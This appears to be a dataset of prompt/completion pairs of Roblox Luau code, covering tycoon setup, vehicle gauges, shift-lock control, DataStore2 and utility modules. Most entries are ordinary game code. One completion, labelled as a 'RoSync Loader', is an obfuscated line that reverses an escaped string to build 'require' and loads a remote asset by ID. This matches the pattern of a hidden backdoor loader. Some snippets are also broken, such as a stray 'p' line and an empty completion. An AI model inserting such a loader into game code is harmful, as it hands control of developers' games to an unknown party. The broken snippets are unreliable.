prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
----------------------------------------------
|
local PlayerStatManager = require(script.Parent:WaitForChild("PlayerStatManager"))
local serverStorage = game:GetService("ServerStorage")
local replicatedStorage = game:GetService("ReplicatedStorage")
local playerMoney = serverStorage:WaitForChild("PlayerMoney")
local purchaseHandlerNew = content.PurchaseHandlerNew
local players = game:GetService("Players")
local runService = game:GetService("RunService")
local staterGui = game:GetService("StarterGui")
local allObjects = {}
local TycoonSettings = require(script.Parent.Settings)
local Settings = require(script.Settings)
local RebirthSettings = Settings.Rebirth
local TestSettings = Settings.Test
local rebirthEvent = content:WaitForChild("RebirthEvent (Don't Move)")
local touchAllTycoonButtons = content:WaitForChild("TouchAllTycoonButtons")
local giveCashEvent = content:WaitForChild("GiveCash")
local rebirthGui = content:WaitForChild("RebirthGui (Don't Move)")
local touchTycoonButtonsGui = content:FindFirstChild("TouchTycoonButtons")
rebirthEvent.Parent = replicatedStorage
if touchTycoonButtonsGui then
if runService:IsStudio() or TestSettings.showTouchTycoonButtonsGuiOutsideStudio then
touchAllTycoonButtons.Parent = replicatedStorage
giveCashEvent.Parent = replicatedStorage
touchTycoonButtonsGui.Parent = staterGui
else
touchAllTycoonButtons:Destroy()
giveCashEvent:Destroy()
touchTycoonButtonsGui:Destroy()
end
end
local AllTycoons = {}
for i,v in pairs(script.Parent:WaitForChild('Tycoons'):GetChildren()) do
AllTycoons[v.Name] = v:Clone()
end
|
--[[ Last synced 10/14/2020 09:34 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--[[**
This function allows the developer to schedule the removal of the object without yielding any code. It is the suggested alternative to Debris:AddItem, as this doesn't use the legacy scheduler and also supports tables with a Destroy / destroy method.
@param [t:union<t:Instance, t:table, t:RBXScriptConnection, t:userdata>] Object The object to be added to destroy scheduler.
@param [t:optional<t:numberMin<0>>] Lifetime The number of seconds before the object should be destroyed. Defaults to 10.
@returns [void]
**--]]
|
function Scheduler.AddItem(Object, Lifetime)
assert(AddItemTuple(Object, Lifetime))
local ExecuteTime = tick() + (Lifetime or 10)
local Connection
Connection = Heartbeat:Connect(function()
if tick() >= ExecuteTime then
Connection:Disconnect()
if Object then
if Object.Destroy then
pcall(Object.Destroy, Object)
elseif Object.destroy then
pcall(Object.destroy, Object)
elseif Object.Disconnect then
pcall(Object.Disconnect, Object)
elseif Object.disconnect then
pcall(Object.disconnect, Object)
end
end
end
end)
return Connection
end
return Scheduler
|
--[[
Calls a callback on `finally` with specific arguments.
]]
|
function Promise.prototype:finallyCall(callback, ...)
assert(type(callback) == "function", string.format(ERROR_NON_FUNCTION, "Promise:finallyCall"))
local length, values = pack(...)
return self:_finally(debug.traceback(nil, 2), function()
return callback(unpack(values, 1, length))
end)
end
|
-- Detect when prompt hold begins
|
local function onPromptHoldBegan(promptObject, player)
ObjectActions.promptHoldBeganActions(promptObject, player)
end
|
-- 0 ..... 15 cd
-- 1 ..... 30 cd
-- 2 ..... 75 cd * Minimum for Public Mode Applications *
-- 3 ..... 110 cd
| |
-- print("Keyframe : ".. frameName)
|
local repeatAnim = currentAnim
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.0, Humanoid)
setAnimationSpeed(animSpeed)
end
end
|
-- Initialize
|
function PointsService:KnitInit()
local rng = Random.new()
-- Give player random amount of points:
self.Client.GiveMePoints:Connect(function(player)
local points = rng:NextInteger(0, 10)
self:AddPoints(player, points)
print("Gave " .. player.Name .. " " .. points .. " points")
end)
-- Clean up data when player leaves:
game:GetService("Players").PlayerRemoving:Connect(function(player)
self.PointsPerPlayer[player] = nil
print("Cleaned up "..player.Name.."'s data because they left!")
end)
end
return PointsService
|
-------------------Speed Controls ( Up/down/Forward/Backward)-------------------
|
if(key == "d") and (faster == false) and (slower == false) and (Spd_keep == true) and ( on == true) then
local val = plane.Engine:findFirstChild("Speed")
faster = true
while faster do
if(val.Value < minspeed) or (val.Value > maxv) then return end
if(val.Value == maxv) then faster = false end
val.Value = val.Value +1
wait()
end
elseif(key == "a") and (faster == false) and ( on==true) and (Spd_keep == true) then
if(on == false) or (plane.Engine:findFirstChild("Speed") == nil) then return end
if(slower == false) and (faster == false) then
local val = plane.Engine:findFirstChild("Speed")
slower = true
while slower do
if(val.Value >=minspeed) then
val.Value = val.Value -1
elseif(val.Value < minspeed) then
val.Value = minspeed
slower = false
end
wait()
end
end
end
--Below u can see 2 if's these are if the Vert_keep value is set to true
if(key == "s") and planedebounce == false and on == true then
local val = plane.Engine:findFirstChild("VerticalSpeed")
if(val == nil) then return end
downer = true
uper = false
while downer do
if(val.Value == -20) then downer = false break end
if(downer==false) then break end
val.Value = val.Value -1
wait(.1)
end
end
if(key == "w") and planedebounce == false and on == true then
local val = plane.Engine:findFirstChild("VerticalSpeed")
if(val == nil) then return end
uper = true
downer = false
while uper==true do
if(uper == false) then break end
if(val.Value >= 20) then
uper = false
end
val.Value = val.Value +1
wait(.1)
end
end
--[[ if(string.byte(key) == 20) and (on == true) then
local engine = plane.Engine
local bg = engine.BodyGyro
sideleft = true
while sideleft do
sideway = 20
wait(.1)
end
end
if(string.byte(key) == 19) and (on == true) then
local engine = plane.Engine
local bg = engine.BodyGyro
sideright = true
while sideright do
sideway = -20
wait(.1)
end
end ]]--
if(string.byte(key) == 23) and on then
local engine = plane.Engine
local spd = engine.Speed
if(spd.Value < 0) then
while spd.Value ~= 0 do
spd.Value = spd.Value +1
wait(.1)
end
elseif(spd.Value > 0) then
while spd.Value ~= 0 do
spd.Value = spd.Value -1
wait(.1)
end
elseif(spd.Value == 0) then spd.Value = 0
return
end
end
|
-- Initialize anchor tool
|
local AnchorTool = require(CoreTools:WaitForChild 'Anchor')
Core.AssignHotkey('M', Core.Support.Call(Core.EquipTool, AnchorTool));
Core.AddToolButton(Core.Assets.AnchorIcon, 'M', AnchorTool)
|
--[[Wheel Alignment]]
|
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber = -2
Tune.RCamber = -2
Tune.FCaster = 0
Tune.RCaster = 0 --Will only work with 4WS enabled (Avxnturador)
Tune.FToe = 0
Tune.RToe = 0
|
--Automatic Gauge Scaling
|
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
end
end
for i=0,revEnd*2 do
local ln = script.Parent.ln:clone()
ln.Parent = script.Parent.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = script.Parent.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = script.Parent.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",script.Parent.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = script.Parent.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 20
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.Parent.Values.RPM.Changed:connect(function()
script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
end)
local function GearChange()
local gearText = script.Parent.Parent.Values.Gear.Value
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
if script.Parent.Parent:FindFirstChild("DriveMode").Value == "Comfort" then
if gearText > 0 then
script.Parent.Gear.Text = "D"
elseif gearText == 0 then
script.Parent.Gear.Text = "N"
elseif gearText == -1 then
script.Parent.Gear.Text = "R"
end
elseif script.Parent.Parent:FindFirstChild("DriveMode").Value ~= "Comfort" then
if gearText > 0 then
script.Parent.Gear.Text = "S"..gearText
elseif gearText == 0 then
script.Parent.Gear.Text = "N"
elseif gearText == -1 then
script.Parent.Gear.Text = "R"
end
end
elseif script.Parent.Parent.Values.TransmissionMode.Value ~= "Auto" then
if script.Parent.Parent:FindFirstChild("DriveMode").Value ~= "Comfort" then
if gearText > 0 then
script.Parent.Gear.Text = "M"..gearText
elseif gearText == 0 then
script.Parent.Gear.Text = "N"
elseif gearText == -1 then
script.Parent.Gear.Text = "R"
end
elseif script.Parent.Parent:FindFirstChild("DriveMode").Value == "Comfort" then
if gearText > 0 then
script.Parent.Gear.Text = gearText
elseif gearText == 0 then
script.Parent.Gear.Text = "N"
elseif gearText == -1 then
script.Parent.Gear.Text = "R"
end
end
end
end
script.Parent.Parent.Values.TransmissionMode.Changed:Connect(GearChange)
script.Parent.Parent.DriveMode.Changed:Connect(GearChange)
script.Parent.Parent.Values.Gear.Changed:Connect(function()
local gearText = script.Parent.Parent.Values.Gear.Value
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
if script.Parent.Parent:FindFirstChild("DriveMode").Value == "Comfort" then
if gearText > 0 then
script.Parent.Gear.Text = "D"
elseif gearText == 0 then
script.Parent.Gear.Text = "N"
elseif gearText == -1 then
script.Parent.Gear.Text = "R"
end
elseif script.Parent.Parent:FindFirstChild("DriveMode").Value ~= "Comfort" then
if gearText > 0 then
script.Parent.Gear.Text = "S"..gearText
elseif gearText == 0 then
script.Parent.Gear.Text = "N"
elseif gearText == -1 then
script.Parent.Gear.Text = "R"
end
end
elseif script.Parent.Parent.Values.TransmissionMode.Value ~= "Auto" then
if script.Parent.Parent:FindFirstChild("DriveMode").Value ~= "Comfort" then
if gearText > 0 then
script.Parent.Gear.Text = "M"..gearText
elseif gearText == 0 then
script.Parent.Gear.Text = "N"
elseif gearText == -1 then
script.Parent.Gear.Text = "R"
end
elseif script.Parent.Parent:FindFirstChild("DriveMode").Value == "Comfort" then
if gearText > 0 then
script.Parent.Gear.Text = gearText
elseif gearText == 0 then
script.Parent.Gear.Text = "N"
elseif gearText == -1 then
script.Parent.Gear.Text = "R"
end
end
end
end)
script.Parent.Parent.Values.TCS.Changed:Connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCS.Value then
script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.TCSActive.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = true
script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.Parent.Values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
end
else
if script.Parent.TCS.Visible then
script.Parent.TCS.Visible = false
end
end
end)
script.Parent.Parent.Values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABS.Value then
script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.ABSActive.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = true
script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.Parent.Values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
end
else
if script.Parent.ABS.Visible then
script.Parent.ABS.Visible = false
end
end
end)
function PBrake()
script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end
script.Parent.Parent.Values.PBrake.Changed:connect(PBrake)
function Gear()
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
script.Parent.TMode.Text = "A/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
script.Parent.TMode.Text = "S/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
script.Parent.TMode.Text = "M/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end
script.Parent.Parent.Values.TransmissionMode.Changed:connect(Gear)
script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
script.Parent.Speedo.Needle.Rotation =45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
script.Parent.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(script.Parent.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
wait(.1)
Gear()
PBrake()
|
-- Provides a nice syntax for creating Roblox instances.
-- Example:
-- local newPart = Utility.Create("Part") {
-- Parent = workspace,
-- Anchored = true,
--
-- --Create a SpecialMesh as a child of this part too
-- Utility.Create("SpecialMesh") {
-- MeshId = "rbxassetid://...",
-- Scale = Vector3.new(0.5, 0.2, 10)
-- }
-- }
|
function CommonUtil.Create(instanceType)
return function(data)
local obj = Instance.new(instanceType)
local parent = nil
for k, v in pairs(data) do
if type(k) == 'number' then
v.Parent = obj
elseif k == 'Parent' then
parent = v
else
obj[k] = v
end
end
if parent then
obj.Parent = parent
end
return obj
end
end
return CommonUtil
|
--!strict
|
local None = require(script.Parent.None)
local LuauPolyfill = script.Parent.Parent
local types = require(LuauPolyfill.types)
type Object = types.Object
|
-----------------------------------------------------------------------------------------------
|
local player=game.Players.LocalPlayer
local mouse=player:GetMouse()
local bike = script.Parent.Parent.Bike.Value
local _Tune = require(bike["Tuner"])
local gauges = script.Parent
local values = script.Parent.Parent.Values
local isOn = script.Parent.Parent.IsOn
gauges:WaitForChild("Speedo")
gauges:WaitForChild("Tach")
gauges:WaitForChild("Boost")
gauges:WaitForChild("ln")
gauges:WaitForChild("bln")
gauges:WaitForChild("Gear")
gauges:WaitForChild("Speed")
bike.DriveSeat.HeadsUpDisplay = false
local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline
if not _Tune.Engine and _Tune.Electric then _lRPM = _Tune.ElecRedline _pRPM = _Tune.ElecTransition2 end
local currentUnits = 1
local revEnd = math.ceil(_lRPM/1000)
|
--[[
Package link auto-generated by Rotriever
]]
|
local PackageIndex = script.Parent._Index
local Package = require(PackageIndex["ExperienceComponents"]["ExperienceComponents"])
export type MultiSelectFormOption = Package.MultiSelectFormOption
return Package
|
--[=[
@param value any
@return boolean
Returns `true` if this option contains `value`.
]=]
|
function Option:Contains(value)
return self:IsSome() and self._v == value
end
|
-- plr is 'player'
-- item is the 'tool' or 'key' clicked on
|
function module.Clicked (plr, item)
-- 1. Check is player exists (not nil) and player is not Piggy
if plr then
if plr.Character and not plr:FindFirstChild("Piggy") then
-- 2. Get the position of the part so we can swap parts
-- models do not have position as a property, rather a PrimaryPart property which is generally the handle (some invisible part)
local position
if item:IsA("Model") then
position = item.PrimaryPart.Position
else
position = item.Position
end
-- drop whatever is in the players backpack or equipped (if any)
-- send in the player, the map and the position of the newly clicked item
module.DropTools(plr, game.Workspace.Map, position)
print ("Dropped Keyhandles")
--3. Put a copy of the serverstorage item in the players backpack
if game.ServerStorage.Tools:FindFirstChild(item.Name) then
-- clone server copy
local clonedTool = game.ServerStorage.Tools[item.Name]:Clone()
-- put it in the players backpack
clonedTool.Parent = plr.Backpack
-- auto equip it
plr.Character.Humanoid:EquipTool(clonedTool)
-- destroy the part on the map
item:Destroy()
print ("Equipped the tool")
end
end
end
end
return module
|
-- constants
|
local CAMERA = Workspace.CurrentCamera
local PLAYER = Players.LocalPlayer
local PLAYER_GUI = PLAYER:WaitForChild("PlayerGui")
|
-- Load and configure the animations
|
local attackAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.AttackAnimation)
attackAnimation.Looped = false
attackAnimation.Priority = Enum.AnimationPriority.Action
maid.attackAnimation = attackAnimation
local deathAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.DeathAnimation)
deathAnimation.Looped = false
deathAnimation.Priority = Enum.AnimationPriority.Action
maid.deathAnimation = deathAnimation
|
-- TODO: Remove when we figure out ContextActionService without sinking keys
|
local function onShiftInputBegan(inputObject, isProcessed)
if isProcessed then return end
if inputObject.UserInputType == Enum.UserInputType.Keyboard and
(inputObject.KeyCode == Enum.KeyCode.LeftShift or inputObject.KeyCode == Enum.KeyCode.RightShift) then
--
mouseLockSwitchFunc()
end
end
local function enableShiftLock()
IsShiftLockMode = isShiftLockMode()
if IsShiftLockMode then
if ScreenGui then
ScreenGui.Parent = PlayerGui
end
if IsShiftLocked then
Mouse.Icon = SHIFT_LOCK_CURSOR
ShiftLockController.OnShiftLockToggled:Fire()
end
if not IsActionBound then
InputCn = UserInputService.InputBegan:connect(onShiftInputBegan)
IsActionBound = true
end
end
end
GameSettings.Changed:connect(function(property)
if property == 'ControlMode' then
if GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch then
enableShiftLock()
else
disableShiftLock()
end
elseif property == 'ComputerMovementMode' then
if GameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove then
disableShiftLock()
else
enableShiftLock()
end
end
end)
LocalPlayer.Changed:connect(function(property)
if property == 'DevEnableMouseLock' then
if LocalPlayer.DevEnableMouseLock then
enableShiftLock()
else
disableShiftLock()
end
elseif property == 'DevComputerMovementMode' then
if LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.ClickToMove or
LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.Scriptable then
--
disableShiftLock()
else
enableShiftLock()
end
end
end)
LocalPlayer.CharacterAdded:connect(function(character)
-- we need to recreate guis on character load
if not UserInputService.TouchEnabled then
initialize()
end
end)
|
--[[
DataStore2: A wrapper for data stores that caches, saves player's data, and uses berezaa's method of saving data.
Use require(1936396537) to have an updated version of DataStore2.
DataStore2(dataStoreName, player) - Returns a DataStore2 DataStore
DataStore2 DataStore:
- Get([defaultValue])
- Set(value)
- Update(updateFunc)
- Increment(value, defaultValue)
- BeforeInitialGet(modifier)
- BeforeSave(modifier)
- Save()
- SaveAsync()
- OnUpdate(callback)
- BindToClose(callback)
local coinStore = DataStore2("Coins", player)
To give a player coins:
coinStore:Increment(50)
To get the current player's coins:
coinStore:Get()
--]]
|
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local ServerStorage = game:GetService("ServerStorage")
local Constants = require(script.Constants)
local Promise = require(script.Promise)
local SavingMethods = require(script.SavingMethods)
local Settings = require(script.Settings)
local TableUtil = require(script.TableUtil)
local Verifier = require(script.Verifier)
local SaveInStudioObject = ServerStorage:FindFirstChild("SaveInStudio")
local SaveInStudio = SaveInStudioObject and SaveInStudioObject.Value
local function clone(value)
if typeof(value) == "table" then
return TableUtil.clone(value)
else
return value
end
end
|
--[[**
ensures value is a number where min <= value <= max
@param min The minimum to use
@param max The maximum to use
@returns A function that will return true iff the condition is passed
**--]]
|
function t.numberConstrained(min, max)
assert(t.number(min))
assert(t.number(max))
local minCheck = t.numberMin(min)
local maxCheck = t.numberMax(max)
return function(value)
local minSuccess = minCheck(value)
if not minSuccess then
return false
end
local maxSuccess = maxCheck(value)
if not maxSuccess then
return false
end
return true
end
end
|
-- Initialize tool subsystems
|
MoveTool.HandleDragging = require(script:WaitForChild 'HandleDragging')
.new(MoveTool)
MoveTool.FreeDragging = require(script:WaitForChild 'FreeDragging')
.new(MoveTool)
MoveTool.UIController = require(script:WaitForChild 'UIController')
.new(MoveTool)
function MoveTool:Equip()
-- Enables the tool's equipped functionality
-- Set our current axis mode
self:SetAxes(self.Axes)
-- Start up our interface
self.UIController:ShowUI()
self:BindShortcutKeys()
self.FreeDragging:EnableDragging()
end
function MoveTool:Unequip()
-- Disables the tool's equipped functionality
-- If dragging, finish dragging
if self.FreeDragging.IsDragging then
self.FreeDragging:FinishDragging()
end
-- Disable dragging
ContextActionService:UnbindAction 'BT: Start dragging'
-- Clear unnecessary resources
self.UIController:HideUI()
self.HandleDragging:HideHandles()
self.Maid:Destroy()
BoundingBox.ClearBoundingBox();
SnapTracking.StopTracking();
end
function MoveTool:SetAxes(AxisMode)
-- Sets the given axis mode
-- Update setting
self.Axes = AxisMode
self.AxesChanged:Fire(self.Axes)
-- Disable any unnecessary bounding boxes
BoundingBox.ClearBoundingBox();
-- For global mode, use bounding box handles
if AxisMode == 'Global' then
BoundingBox.StartBoundingBox(function (BoundingBox)
self.HandleDragging:AttachHandles(BoundingBox)
end)
-- For local mode, use focused part handles
elseif AxisMode == 'Local' then
self.HandleDragging:AttachHandles(Selection.Focus, true)
-- For last mode, use focused part handles
elseif AxisMode == 'Last' then
self.HandleDragging:AttachHandles(Selection.Focus, true)
end
end
|
--[[**
ensures Lua primitive userdata type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.userdata = t.type("userdata")
|
-- Returns the radius of the spread, but projected into screen space.
-- @param Camera camera
-- @return number
|
function SpreadSimulator:GetSpreadScreenMagnitude(camera)
local cameraCFrame = camera.CFrame
local spreadDirection = self:GetSpreadDirectionCircumferenceVector(camera.CFrame)
local spreadPosition = cameraCFrame.Position + cameraCFrame.LookVector * Spread_Distance_From_Camera + spreadDirection
local centerPoint, onScreen1 = camera:WorldToScreenPoint(cameraCFrame.Position + cameraCFrame.LookVector * Spread_Distance_From_Camera)
local screenPoint, onScreen2 = camera:WorldToScreenPoint(spreadPosition)
-- If one of the points are not on screen then we can't do much with math
if not onScreen1 or not onScreen2 then return end
local spreadPoint = Vector2.new(screenPoint.x, screenPoint.y)
local centerPoint = Vector2.new(centerPoint.x, centerPoint.y)
local distance = (spreadPoint - centerPoint).Magnitude * 2 -- Radius times 2
return distance
end
p
return SpreadSimulator
|
-- SERVICES --
|
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ServerStorage = game:GetService("ServerStorage")
local LAST_PAY = 0
local LAST_RAISE = tick()
local HAS_TO_PAY = 25
local Root = script.Parent
Root.PayRent.OnServerEvent:Connect(function(p)
if tick() - LAST_PAY > 60 then
p.leaderstats.Money.Value += HAS_TO_PAY
LAST_PAY = tick()
end
end)
Root.RaiseRent.OnServerEvent:Connect(function(p)
if tick() - LAST_RAISE > 60 then
HAS_TO_PAY += 5
LAST_PAY = tick()
end
end)
|
--wait(120)
|
local all,last = {}
local isSusp = false
local isWheel= false
function scan(p)
for _,v in pairs(p:GetChildren()) do
if p.Name == "Suspension" then isSusp = true end
if p.Parent.Name == "Wheels" then isWheel = true end
if (v:IsA("BasePart") or v:IsA("UnionOperation") or v:IsA("Seat") or v:IsA("VehicleSeat") or v:IsA("MeshPart")) then
if (last and not isSusp) then
local w = Instance.new("Weld")
w.Part0,w.Part1 = last,v
w.C0 = v.CFrame:toObjectSpace(last.CFrame):inverse()
w.Parent = last
end
table.insert(all,v)
last = v
end
scan(v)
end
end
scan(script.Parent)
if isSusp then
local c1 = script:Clone()
local c2 = script:Clone()
c1.Parent = script.Parent.RL
c2.Parent = script.Parent.RR
end
for _,v in pairs(all) do
if ((not isWheel) or (isWheel and v.Name ~= "Wheel")) then
v.CustomPhysicalProperties = PhysicalProperties.new(0.01,0,0,0,0)
v.CanCollide = false
elseif isWheel and v.Name == "Wheel" then
v.CustomPhysicalProperties = PhysicalProperties.new(0.2,0.7,0.5,1,1)
else
v.CustomPhysicalProperties = PhysicalProperties.new(0.7,1,0.5,1,1) --to change to vehicle weight
end
end
for _,v in pairs(all) do v.Anchored = true end
if script.Parent.Name == "Suspension" then
script.PATCHER.Parent = script.Parent.Parent
script.Parent.Parent.PATCHER.Disabled = false
end
|
-- Make the object appear when the ProximityPrompt is used
|
local function onPromptTriggered()
if object then
object.Parent = game.ServerStorage
game.StarterGui.ScreenGui.TextLabel.Visible = true
wait(1)
game.StarterGui.ScreenGui.TextLabel.Visible= false
end
end
|
-- Remove with FFlagPlayerScriptsBindAtPriority
|
function MouseLockController:OnInputBegan(input, processed)
if processed then return end
if input.UserInputType == Enum.UserInputType.Keyboard then
for _, keyCode in pairs(self.boundKeys) do
if keyCode == input.KeyCode then
self:OnMouseLockToggled()
return
end
end
end
end
function MouseLockController:DoMouseLockSwitch(name, state, input)
if state == Enum.UserInputState.Begin then
self:OnMouseLockToggled()
return Enum.ContextActionResult.Sink
end
return Enum.ContextActionResult.Pass
end
function MouseLockController:BindContextActions()
ContextActionService:BindActionAtPriority(CONTEXT_ACTION_NAME, function(name, state, input) self:DoMouseLockSwitch(name, state, input) end,
false, MOUSELOCK_ACTION_PRIORITY, unpack(self.boundKeys))
end
function MouseLockController:UnbindContextActions()
ContextActionService:UnbindAction(CONTEXT_ACTION_NAME)
end
function MouseLockController:IsMouseLocked()
return self.enabled and self.isMouseLocked
end
function MouseLockController:EnableMouseLock(enable)
if enable~=self.enabled then
self.enabled = enable
if self.enabled then
-- Enabling the mode
if FFlagPlayerScriptsBindAtPriority then
self:BindContextActions()
else
if self.inputBeganConn then
self.inputBeganConn:Disconnect()
end
self.inputBeganConn = UserInputService.InputBegan:Connect(function(input, processed)
self:OnInputBegan(input, processed)
end)
end
else
-- Disabling
-- Restore mouse cursor
if Mouse.Icon~="" then
Mouse.Icon = ""
end
if FFlagPlayerScriptsBindAtPriority then
self:UnbindContextActions()
else
if self.inputBeganConn then
self.inputBeganConn:Disconnect()
end
self.inputBeganConn = nil
end
-- If the mode is disabled while being used, fire the event to toggle it off
if self.isMouseLocked then
self.mouseLockToggledEvent:Fire()
end
self.isMouseLocked = false
end
end
end
return MouseLockController
|
---Engine
|
function Engine()
script.Parent:WaitForChild("Gauges")
